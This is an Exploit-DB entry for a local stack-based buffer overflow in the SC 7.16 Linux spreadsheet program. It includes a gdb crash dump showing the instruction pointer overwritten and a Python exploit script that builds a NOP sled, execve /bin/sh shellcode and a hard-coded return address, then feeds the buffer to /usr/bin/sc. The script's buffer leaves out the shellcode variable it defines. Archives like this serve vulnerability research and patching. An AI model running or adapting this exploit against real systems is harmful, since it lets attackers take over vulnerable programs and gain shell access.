SC 7.16 - Stack-Based Buffer Overflow

EDB-ID:
44279

CVE:
N/A

EDB Verified: ×

Author:
JUAN SACCO

Type:
LOCAL

Exploit: / {}

Platform:
LINUX

Date:
2018-03-12

Vulnerable App:

```
# Exploit Author: Juan Sacco - http://www.exploitpack.com
<jsacco@exploitpack.com>
# Bug found using Exploit Pack - Local fuzzer feature.
#
# Tested on: GNU/Linux - Kali Linux
# Filename: pool/main/s/sc/sc_7.16-4+b2_i386.deb
#
# Description: SC v7.16 is prone to a basic stack-based buffer overflow
# vulnerability because the application fails to perform adequate
# boundary-checks on user-supplied input.
#
# An attacker could exploit this issue to execute arbitrary code in the
# context of the application. Failed exploit attempts will result in a
# denial-of-service condition.
#
# Vendor homepage: SC v7.16 -
http://www.ibiblio.org/pub/Linux/apps/financial/spreadsheet/!INDEX.html
#
#
#[----------------------------------registers-----------------------------
-----]
#EAX: 0x0
#EBX: 0x41414141 ('AAAA')
#ECX: 0x42 ('B')
#EDX: 0x1
#ESI: 0x41414141 ('AAAA')
#EDI: 0x41414141 ('AAAA')
#EBP: 0x41414141 ('AAAA')
#ESP: 0xbfffee30 --> 0xbffff100 --> 0xb7fd9000 (jg     0xb7fd9047)
#EIP: 0x41424344 ('DCBA')
#EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction
overflow)
#[-----------------------------------code-----------------------------------
-----]
#Invalid $PC address: 0x41424344
#[----------------------------------stack-----------------------------------
-----]
#0000| 0xbfffee30 --> 0xbffff100 --> 0xb7fd9000 (jg     0xb7fd9047)
#0004| 0xbfffee34 --> 0x1
#0008| 0xbfffee38 --> 0x0
#0012| 0xbfffee3c --> 0x0
#0016| 0xbfffee40 --> 0xf63d4e2e
#0020| 0xbfffee44 --> 0xb7fe4bf9 (<do_lookup_x+1689>: add    esp,0x20)
#0024| 0xbfffee48 --> 0x1
#0028| 0xbfffee4c --> 0x1
#[-------------------------------------------------------------------------
-----]
#Legend: code, data, rodata, value
#Stopped reason: SIGSEGV
#0x41424344 in ?? ()
#gdb-peda$ backtrace
##0  0x41424344 in ?? ()
##1  0xbffff100 in ?? ()
#Backtrace stopped: previous frame inner to this frame (corrupt stack?)
#gdb-peda$
#
#==2332==
#==2332== Jump to the invalid address stated on the next line
#==2332==    at 0x41424344: ???
#==2332==  Address 0x41424344 is not stack'd, malloc'd or (recently) free'd
#==2332==
#==2332==
#==2332== Process terminating with default action of signal 11 (SIGSEGV)
#==2332==  Access not within mapped region at address 0x41424344
#==2332==    at 0x41424344: ???
import subprocess
import os
```

```
buffersize =  1052
nopsled = "\x90"
# Shell
shellcode =
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
eip = "\x10\xf0\xff\xbf"
buffer = nopsled * (buffersize-len(shellcode)) + eip

try:
   subprocess.call(["/usr/bin/sc", buffer])
except OSError as e:
   if e.errno == os.errno.ENOENT:
       print "SC binary not found!"
   else:
    print "Error executing exploit"
   raise
```

Tags:

Advisory/Source: Link

Databases

Links

Sites

Solutions